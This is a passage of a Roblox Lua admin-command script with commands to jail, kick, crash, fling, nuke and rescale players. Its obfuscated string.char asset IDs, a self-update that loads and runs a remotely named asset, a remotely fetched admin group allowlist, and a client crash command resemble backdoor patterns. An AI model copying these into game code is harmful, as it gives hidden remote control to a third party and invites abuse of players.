  833. function CORE:MakeBase()
  834. for _,Get in pairs(Workspace:GetChildren()) do
  835. if Get.Name == "Base" or Get.Name == "BasePlate" then
  836. Get:Destroy()
  837. end
  838. end
  839. local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
  840. end
  841.  
  842. function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
  843. if IsAbusive == nil then IsAbusive = false end
  844. if Commands[CommandName] then table.remove(Commands[CommandName]) end
  845. Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
  846. end
  847.  
  848. function CORE:FixLighting() coroutine.wrap(function()
  849. ModLighting = false
  850. wait(0.2)
  851. Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
  852. Server.Lighting.FogColor = Color3.new(0,0,0)
  853. Server.Lighting.Brightness = 1
  854. Server.Lighting.TimeOfDay = 14
  855. Server.Lighting.FogEnd = 100000
  856. end)() end
  857.  
  858. function CORE:Round(Number)
  859. if Number >= 0.5 then
  860. return math.ceil(Number)
  861. elseif Number < 0.5 then
  862. return math.floor(Number)
  863. end
  864. end
  865.  
  866. local AdminID,Got = nil,false
  867. repeat wait()
  868. Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
  869. until Got == true
  870.  
  871. function CORE:GetTable(ID)
  872. local Thing = nil
  873. repeat wait()
  874. ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
  875. until Thing
  876. return Thing
  877. end
  878.  
  879. function CORE:InAdminGroup(Speaker)
  880. local IsIn = false
  881. for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
  882. if Speaker:IsInGroup(Get) then
  883. IsIn = true
  884. end
  885. end
  886. if IsIn == true then
  887. return true
  888. else
  889. GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
  890. return false
  891. end
  892. end
  893.  
  894. function CORE:ReverseTable(Table)
  895. if type(Table) ~= "table" then return Table end
  896. local NewTable = {}
  897. for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
  898. return NewTable
  899. end
  900.  
  901. function CORE:Log(LogTable, Player, Chat)
  902. local PlayerName = tostring(Player)
  903. if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
  904. table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
  905. end
  906.  
  907. function CORE:Jail(Player)
  908. if not Player then return nil end
  909. local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
  910. Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
  911. local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
  912. local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
  913. local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
  914. local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
  915. Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
  916. Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
  917. Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
  918. local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
  919. Cell:MoveTo(Vector3.new(0,3,0))
  920.  
  921. if Player.Character and Player.Character:FindFirstChild("Torso") then
  922. Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
  923. Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
  924. end
  925. table.insert(Dispose, Cell)
  926. Jails[Player.Name] = Cell
  927. end
  928.  
  929. function CORE:UnJail(Player)
  930. if not Player then return nil end
  931. if Jails[Player.Name] then
  932. Jails[Player.Name]:Destroy()
  933. Jails[Player.Name] = nil
  934. end
  935. end
  936.  
  937. function CORE:ChangeName(Player, NewName)
  938. if not Player or not NewName then return nil end
  939. if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
  940. local NewName = STRING:FormatReplace(Player, NewName)
  941.  
  942. for _,Obj in pairs(Player.Character:GetChildren()) do
  943. if Obj.Name == "Label" then Obj:Destroy() end
  944. end
  945.  
  946. local Head = Player.Character.Head
  947. local HeadClone = Head:Clone()
  948.  
  949. -- make actual head invisible
  950. Head.Transparency = 1
  951. ypcall(function() Head.face.Transparency = 1 end)
  952.  
  953. -- make fake head visible
  954. HeadClone.Transparency = 0
  955. ypcall(function() HeadClone.face.Transparency = 0 end)
  956.  
  957. local Label = Instance.new("Model", Player.Character)
  958. Label.Name = "Label"
  959.  
  960. local Model = Instance.new("Model", Label)
  961. Model.Name = NewName
  962.  
  963. local HumanoidClone = Instance.new("Humanoid", Model)
  964. coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
  965.  
  966. HeadClone.Position = Vector3.new(0,100,0)
  967. HeadClone.CanCollide = false
  968. ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
  969.  
  970.  
  971. Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created
  972. HeadClone.Parent = Model
  973. local Weld = Instance.new("Weld", HeadClone)
  974. Weld.Part0 = HeadClone
  975. Weld.Part1 = Head
  976. end)
  977. end
  978. end
  979.  
  980. function CORE:UpdateAdmin()
  981. local UpdateModel = AdminID
  982. if UpdateModel == 0 then return end
  983. local NewAdminModel = nil
  984. ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
  985. if NewAdminModel then
  986. local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
  987. if NewAdmin then
  988. local NewVersion = NewAdmin:FindFirstChild("Version")
  989. if NewVersion.Value ~= CORE.Version.Value then
  990. if ExploitModule then
  991. ExploitModule.Disabled = true
  992. ExploitModule:Destroy()
  993. end
  994. NewAdmin.Disabled = true
  995. NewAdmin.Parent = Workspace
  996. if not Settings then
  997. local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
  998. if NewSettings then NewSettings.Parent = Workspace end
  999. end
  1000. wait() NewAdmin.Disabled = false
  1001. CORE:RemoveAdmin()
  1002. else
  1003. NewAdminModel:Destroy()
  1004. end
  1005. end
  1006. end
  1007. end
  1008.  
  1009. function CORE:UnpackPlayers(Players)
  1010. local PlayerNames = ""
  1011. for Num,Player in pairs(Players) do
  1012. if Player ~= nil then
  1013. if Num ~= #Players then
  1014. PlayerNames = PlayerNames..Player.Name..", "
  1015. else
  1016. PlayerNames = PlayerNames..Player.Name
  1017. end
  1018. end
  1019. end
  1020. return PlayerNames
  1021. end
  1022.  
  1023. function CORE:GetValue(Value)
  1024. if Value:IsA("StringValue") then
  1025. if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
  1026. if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
  1027. if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
  1028. if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
  1029. if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
  1030. if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
  1031. if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
  1032. for Num,Admin in pairs(Settings.Ranks["Admin"]) do
  1033. if Admin == Value.Value then
  1034. table.remove(Settings.Ranks["Admin"],Num)
  1035. end
  1036. end
  1037. end end
  1038. end
  1039. end
  1040.  
  1041. function CORE:GetPlayer(ID)
  1042. local Return = {"Unknown", ID}
  1043. if tonumber(ID) then
  1044. for _,Data in pairs(CharacterCache) do
  1045. if ID == Data[2] then
  1046. return Data
  1047. end
  1048. end
  1049. ypcall(function()
  1050. local Name = Server.Players:GetNameFromUserIdAsync(ID)
  1051. if Name then
  1052. local Data = {Name, ID}
  1053. table.insert(CharacterCache, Data)
  1054. Return = Data
  1055. end
  1056. end)
  1057. else
  1058. local Name = tostring(ID)
  1059. for _,Data in pairs(CharacterCache) do
  1060. if string.lower(Name) == string.lower(Data[1]) then
  1061. return Data
  1062. end
  1063. end
  1064. ypcall(function()
  1065. local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
  1066. if PlayerID then
  1067. Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
  1068. local Data = {Name, PlayerID}
  1069. table.insert(CharacterCache, Data)
  1070. Return = Data
  1071. end
  1072. end)
  1073. end
  1074.  
  1075. return Return
  1076. end
  1077.  
  1078. function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
  1079. if ID and #tostring(ID) >= 1 then
  1080. local PlayerName = nil
  1081.  
  1082. local Players = STRING:Scan(ID, Speaker)
  1083. if #Players >= 1 then -- if player is found in server
  1084. ID = Players[1].UserId
  1085. elseif tonumber(ID) then
  1086. local Data = CORE:GetPlayer(ID)
  1087. PlayerName = Data[1]
  1088. else
  1089. local Data = CORE:GetPlayer(tostring(ID))
  1090. PlayerName = Data[1]
  1091. ID = Data[2]
  1092. end
  1093.  
  1094. if tonumber(ID) == 20018 then -- exploding easter bunny
  1095. local OldID = ID
  1096. ID = 1
  1097. if Speaker then
  1098. if RANK:GetRank(Speaker) == "Member" then
  1099. coroutine.wrap(function()
  1100. wait(1)
  1101. GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
  1102. end)()
  1103. else ID = OldID
  1104. end
  1105. end
  1106. elseif tonumber(ID) == 1311 then -- ffjosh
  1107. local OldID = ID
  1108. ID = 1
  1109. if Speaker then
  1110. if RANK:GetRank(Speaker) == "Member" then
  1111. coroutine.wrap(function()
  1112. wait(1)
  1113. GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
  1114. end)()
  1115. else ID = OldID
  1116. end
  1117. end
  1118. end
  1119.  
  1120. if tonumber(ID) then
  1121. local Position = nil
  1122. if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
  1123. if ManualPos then
  1124. Position = ManualPos
  1125. else
  1126. Position = Player.Character.Torso.Position
  1127. end
  1128. end
  1129. Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
  1130. wait() Player:LoadCharacter() wait()
  1131. if Position then Player.Character:MoveTo(Position) end
  1132. if not Perm then
  1133. Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
  1134. end
  1135. if NameChar and PlayerName then
  1136. wait(2)
  1137. CORE:ChangeName(Player, PlayerName)
  1138. end
  1139. end
  1140. end
  1141. end)() end
  1142.  
  1143. function CORE:GenerateShield(Player)
  1144. if not Player then return nil end
  1145. if not Player.Character then return nil end
  1146. local Torso = Player.Character:FindFirstChild("Torso")
  1147. if not Torso then return nil end
  1148.  
  1149. local Shield = Player.Character:FindFirstChild("Shield")
  1150. if Shield then Shield:Destroy() end
  1151.  
  1152. Shield = Instance.new("Part", Player.Character)
  1153. Shield.Name = "Shield"
  1154. Shield.Locked = true
  1155. Shield.CanCollide = false
  1156. Shield.Size = Vector3.new(10,10,10)
  1157. Shield.Shape = "Ball"
  1158. Shield.Color = GUI:GetColor()
  1159. Shield.Transparency = 0.5
  1160. Shield.TopSurface = "Smooth"
  1161. Shield.BottomSurface = "Smooth"
  1162. Shield.Anchored = true
  1163. Shield.Position = Torso.Position
  1164.  
  1165. local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
  1166. local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
  1167.  
  1168. Hum:Play()
  1169.  
  1170. Shield.Touched:connect(function(Part)
  1171. if Part.Parent ~= Server.Workspace then
  1172. local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
  1173. if Humanoid then
  1174. local Char = Humanoid.Parent
  1175. if Char:IsA("Model") and Humanoid.Health > 0 then
  1176. if Char ~= Player.Character then
  1177. Char:BreakJoints()
  1178. Zap:Play()
  1179. end
  1180. end
  1181. end
  1182. end
  1183. end)
  1184.  
  1185. coroutine.wrap(function() repeat wait()
  1186. Shield.CFrame = Torso.CFrame
  1187. until Torso.Parent == nil or Shield.Parent == nil end)()
  1188. end
  1189.  
  1190. function CORE:FlingPlayer(Player)
  1191. if Player and Player.Character then
  1192. if Player.Character:FindFirstChild("Torso") then
  1193. local Fling = Instance.new("BodyForce", Player.Character.Torso)
  1194. Fling.Name = "Fling"
  1195. Fling.force = Vector3.new(10000,10000,10000)
  1196. end
  1197. end
  1198. end
  1199.  
  1200. function CORE:Kick(Player, CustomMessage)
  1201. if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
  1202. coroutine.wrap(function()
  1203. CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
  1204. wait(1)
  1205. Player:Kick(CustomMessage)
  1206. end)()
  1207. end
  1208.  
  1209. function CORE:Crash(Player)
  1210. local Parent = Player
  1211. if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
  1212. elseif Player.Character then Parent = Player.Character end
  1213.  
  1214. CORE:ExecuteResource("Crash", Parent)
  1215. end
  1216.  
  1217. function CORE:RestoreCamera(Player)
  1218. if Player.Backpack then
  1219. CORE:ExecuteResource("RestoreCamera", Player.Backpack)
  1220. end
  1221. end
  1222.  
  1223. function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
  1224. local function ScanInstance(Object)
  1225. if #Object:GetChildren() > 0 then
  1226. for _,Obj in pairs(Object:GetChildren()) do
  1227. local IsType = false
  1228. if ObjTypes and #ObjTypes > 0 then
  1229. for _,ObjType in pairs(ObjTypes) do
  1230. if Obj:IsA(ObjType) then
  1231. IsType = true
  1232. break
  1233. end
  1234. end
  1235. else
  1236. IsType = true
  1237. end
  1238. if IsType == true then
  1239. ActiveFunc(Obj)
  1240. end
  1241. ScanInstance(Obj)
  1242. end
  1243. end
  1244. end
  1245. ScanInstance(BaseObj)
  1246. end
  1247.  
  1248. function CORE:AnchorPlayer(Player)
  1249. if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
  1250.  
  1251. Player.Character.Humanoid.WalkSpeed = 0
  1252. for _,Object in pairs(Player.Character:GetChildren()) do
  1253. if Object:IsA("BasePart") then
  1254. Object.Anchored = true
  1255. end
  1256. end
  1257. end
  1258.  
  1259. function CORE:UnanchorPlayer(Player)
  1260. if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
  1261.  
  1262. Player.Character.Humanoid.WalkSpeed = 16
  1263. for _,Object in pairs(Player.Character:GetChildren()) do
  1264. if Object:IsA("BasePart") then
  1265. Object.Anchored = false
  1266. end
  1267. end
  1268. end
  1269.  
  1270. function CORE:InvisiblePlayer(Player)
  1271. if not Player or not Player.Character then return end
  1272.  
  1273. CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
  1274. end
  1275.  
  1276. function CORE:VisiblePlayer(Player)
  1277. if not Player or not Player.Character then return end
  1278.  
  1279. CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
  1280. end
  1281.  
  1282. function CORE:Nuke(Player) coroutine.wrap(function()
  1283. local Pos = CFrame.new(0,1,0)
  1284. if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
  1285. local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
  1286. local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
  1287. local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
  1288. local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
  1289. local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
  1290.  
  1291. Server.Lighting.Brightness = 5
  1292. Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
  1293. Server.OutdoorAmbient = Color3.new(1,1,1)
  1294.  
  1295. local Exp = Instance.new("Explosion", Server.Workspace)
  1296. Exp.Position = Pos.p
  1297. Exp.BlastPressure = 10000000
  1298. Exp.BlastRadius = 1000000
  1299. Exp.Hit:connect(function(Part)
  1300. if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
  1301. ypcall(function()
  1302. Part.Anchored = false
  1303. Part.BrickColor = BrickColor.new("Black")
  1304. Part.Material = "Slate"
  1305. Part:BreakJoints()
  1306. end)
  1307. end
  1308. end)
  1309.  
  1310. local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false)
  1311. BoomSound:Play()
  1312. for i = 0,100,0.5 do
  1313. Blast.Anchored = true
  1314. Wave.Anchored = true
  1315. BlastMesh.Scale = Vector3.new(i,i,i)
  1316. WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
  1317. Blast.CFrame = Pos
  1318. wait()
  1319. end
  1320. BoomSound:Stop()
  1321. Blast:Destroy()
  1322. Wave:Destroy()
  1323. wait()
  1324. BoomSound:Destroy()
  1325. for i = 10,5,-1 do
  1326. Server.Lighting.Brightness = (i-5) + 1
  1327. Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
  1328. Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
  1329. wait(0.05)
  1330. end
  1331. end)() end
  1332.  
  1333. function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
  1334. local AssetID = tonumber(AssetID)
  1335. local Item = nil
  1336. if AssetID then
  1337. local CanInsert = true
  1338. if AbuseMode then
  1339. for _,ID in pairs(RemoteAbuseGear) do
  1340. if AssetID == ID then CanInsert = false break end
  1341. end
  1342. for _,ID in pairs(Settings.AbusableGear) do
  1343. if AssetID == ID then CanInsert = false break end
  1344. end
  1345. end
  1346. if CanInsert then
  1347. Item = Server.IS:LoadAsset(AssetID)
  1348.  
  1349. if GetFirstChild then
  1350. Item = Item:GetChildren()[1]
  1351. if FirstChildTypes and Item then
  1352. local ValidType = false
  1353. for _,Type in pairs(FirstChildTypes) do
  1354. if Item:IsA(Type) then
  1355. ValidType = true
  1356. break
  1357. end
  1358. end
  1359. if ValidType == false then
  1360. Item = nil
  1361. end
  1362. end
  1363. end
  1364. if Item and Parent then
  1365. Item.Parent = Parent
  1366. end
  1367. end
  1368. end
  1369. return Item
  1370. end
  1371.  
  1372. function CORE:GivePackage(Player, PID) coroutine.wrap(function()
  1373. if not Player or not Player.Character then return nil end
  1374. PID = tonumber(PID)
  1375. for _,Obj in pairs(Player.Character:GetChildren()) do
  1376. if Obj:IsA("CharacterMesh") then Obj:Destroy() end
  1377. end
  1378. if PID then
  1379. if PackageCache[PID] then
  1380. for _,ID in pairs(PackageCache[PID]) do
  1381. CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
  1382. end
  1383. else
  1384. local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
  1385. if IDsJSON then
  1386. local IDs = REMOTE:Decode(IDsJSON)
  1387. if IDs then
  1388. if not IDs["Error"] then
  1389. table.insert(PackageCache, IDs)
  1390. for _,ID in pairs(IDs) do
  1391. CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
  1392. end
  1393. end
  1394. end
  1395. end
  1396. end
  1397. end
  1398. end)() end
  1399.  
  1400. function CORE:ChangeBet(Bet)
  1401. if tostring(Bet) and Bet ~= Settings.Bet then
  1402. for Index,Data in pairs(Commands) do
  1403. Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
  1404. end
  1405. Settings.Bet = Bet
  1406. end
  1407. end
  1408.  
  1409. function CORE:ResetLighting()
  1410. ModLighting = false wait(0.2) ModLighting = true
  1411. end
  1412.  
  1413. function CORE:Fly(Player, Force)
  1414. if Player and Player.Character then
  1415. local StopFly = Instance.new("RemoteFunction", Player.Character)
  1416. StopFly.Name = "StopMMLFly"
  1417. CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
  1418. end
  1419. end
  1420.  
  1421. function CORE:GiveTools(Player, Type)
  1422. if not Player or not Player:FindFirstChild("Backpack") then return nil end
  1423. Type = string.lower(Type)
  1424. local _,RankNum = RANK:GetRank(Player)
  1425. local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
  1426. local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
  1427.  
  1428. if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
  1429. for Name,Type in pairs(BaseBuildTools) do
  1430. local Tool = Instance.new("HopperBin", Player.Backpack)
  1431. Tool.Name = Name
  1432. Tool.BinType = Type
  1433. end
  1434. elseif Type == "psbtools" then
  1435. for _,Tool in pairs(BuildTools) do
  1436. CORE:Insert(Tool, Player.Backpack, true)
  1437. end
  1438. elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
  1439. if F3X then
  1440. local F3X = F3X:Clone()
  1441. F3X.Parent = Player.Backpack
  1442. end
  1443. elseif Type == "btools" then
  1444. if F3X then
  1445. local F3X = F3X:Clone()
  1446. F3X.Parent = Player.Backpack
  1447. end
  1448. for Name,Type in pairs(BaseBuildTools) do
  1449. local Tool = Instance.new("HopperBin", Player.Backpack)
  1450. Tool.Name = Name
  1451. Tool.BinType = Type
  1452. end
  1453. for _,Tool in pairs(BuildTools) do
  1454. CORE:Insert(Tool, Player.Backpack, true)
  1455. end
  1456. else
  1457. for _,Region in pairs(ToolRegions) do
  1458. CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
  1459. if Type == "all" then
  1460. local NewItem = Item:Clone()
  1461. NewItem.Parent = Player.Backpack
  1462. elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
  1463. local NewItem = Item:Clone()
  1464. NewItem.Parent = Player.Backpack
  1465. end
  1466. end)
  1467. end
  1468. end
  1469. end
  1470.  
  1471. function CORE:Scale(Player, ScalePercent)
  1472. if not Player or not Player.Character or not tonumber(ScalePercent) then return end
  1473. local Ratio = ScalePercent/100
  1474. if Ratio < 0.05 then Ratio = 0.05 end
  1475. if Ratio > 100 then Ratio = 100 end
  1476. if Ratio > 1 then Ratio = math.ceil(Ratio) end
  1477. local Char = Player.Character
  1478.  
  1479. local Clean = Char:FindFirstChild("Clean")
  1480. if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
  1481. Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
  1482.  
  1483. local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
  1484. local Welds = {}
  1485. local Parts = {}
  1486.  
  1487. local function Handle(Obj)
  1488. if Obj:IsA("BasePart") and not JustWeld then
  1489. table.insert(Parts, Obj)
  1490. elseif Obj:IsA("SpecialMesh") and not JustWeld then
  1491. if Obj.Name == "MML Mesh" then
  1492. Obj:Destroy()
  1493. end
  1494. if Obj.MeshType == Enum.MeshType.FileMesh then
  1495. Obj.Offset = Obj.Offset * ScaleRatio
  1496. Obj.Scale = Obj.Scale * ScaleRatio
  1497. elseif Ratio < 1 then
  1498. Obj.Offset = Obj.Offset * ScaleRatio
  1499. Obj.Scale = Obj.Scale * ScaleRatio
  1500. end
  1501. elseif Obj:IsA("CharacterMesh") and not JustWeld then
  1502. if Ratio < 1 then
  1503. local BodyPart = ""
  1504. local TextureID = Obj.BaseTextureId
  1505. if TextureID == 0 then TextureID = Obj.OverlayTextureId end
  1506. if TextureID == 0 then TextureID = nil end
  1507. if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
  1508. if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
  1509. if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
  1510. if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
  1511. if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
  1512. if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
  1513. local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
  1514. NewMesh.Name = "MML Mesh"
  1515. NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
  1516. if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
  1517. NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
  1518. Obj:Destroy()
  1519. end
  1520. elseif Obj:IsA("JointInstance") then
  1521. local NewWeld = Obj:Clone()
  1522. table.insert(Welds, {NewWeld, Obj.Parent})
  1523. elseif NewAdd == true and not JustWeld then
  1524. if Obj:IsA("Tool") then
  1525. --Cycle(Char["Right Arm"], ScaleRatio, false, true)
  1526. elseif Obj:IsA("Accoutrement") then
  1527. --Cycle(Char.Head, ScaleRatio, false, true)
  1528. end
  1529. end
  1530. if #Obj:GetChildren() > 0 then
  1531. for _,NewObj in pairs(Obj:GetChildren()) do
  1532. Handle(NewObj, ScaleRatio)
  1533. end
  1534. end
  1535. end
  1536. Handle(BaseObj)
  1537. for _,Part in pairs(Parts) do
  1538. if Ratio >= 1 then
  1539. Part.Size = Part.Size * ScaleRatio
  1540. else
  1541. local Allowed = true
  1542. for _,Obj in pairs(Part:GetChildren()) do
  1543. if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
  1544. Allowed = false
  1545. end
  1546. end
  1547. if Allowed == true then
  1548. local NewMesh = Instance.new("BlockMesh", Part)
  1549. NewMesh.Name = "MML Mesh"
  1550. NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
  1551. end
  1552. end
  1553. end
  1554. for _,WeldData in pairs(Welds) do
  1555. if WeldData[1] then
  1556. local Obj = WeldData[1]
  1557. local NewWeld = Obj:Clone()
  1558.  
  1559. NewWeld.Parent = WeldData[2]
  1560. NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
  1561. NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
  1562. end
  1563. end
  1564. for _,Part in pairs(Parts) do
  1565. Part:MakeJoints()
  1566. end
  1567. Welds = {}
  1568. Parts = {}
  1569. end
  1570. Cycle(Char, Ratio)
  1571. Char:MakeJoints()
  1572.  
  1573. local Added = Char.ChildAdded:connect(function(Obj)
  1574. Cycle(Obj, Ratio, NewAdd)
  1575. end)
  1576. local Removed = Char.ChildRemoved:connect(function(Obj)
  1577. Cycle(Obj, Ratio^-1, NewAdd)
  1578. end)
  1579.  
  1580. Clean.OnInvoke = function()
  1581. Added:disconnect()
  1582. Removed:disconnect()
  1583. local Location = Vector3.new(0,5,0)
  1584. if Char:FindFirstChild("Torso") then
  1585. Location = Char.Torso.Position + Vector3.new(0,2,0)
  1586. end
  1587. Player:LoadCharacter()
  1588. wait(0.5)
  1589. Player.Character:MoveTo(Location)
  1590. wait(0.5)
  1591. return nil
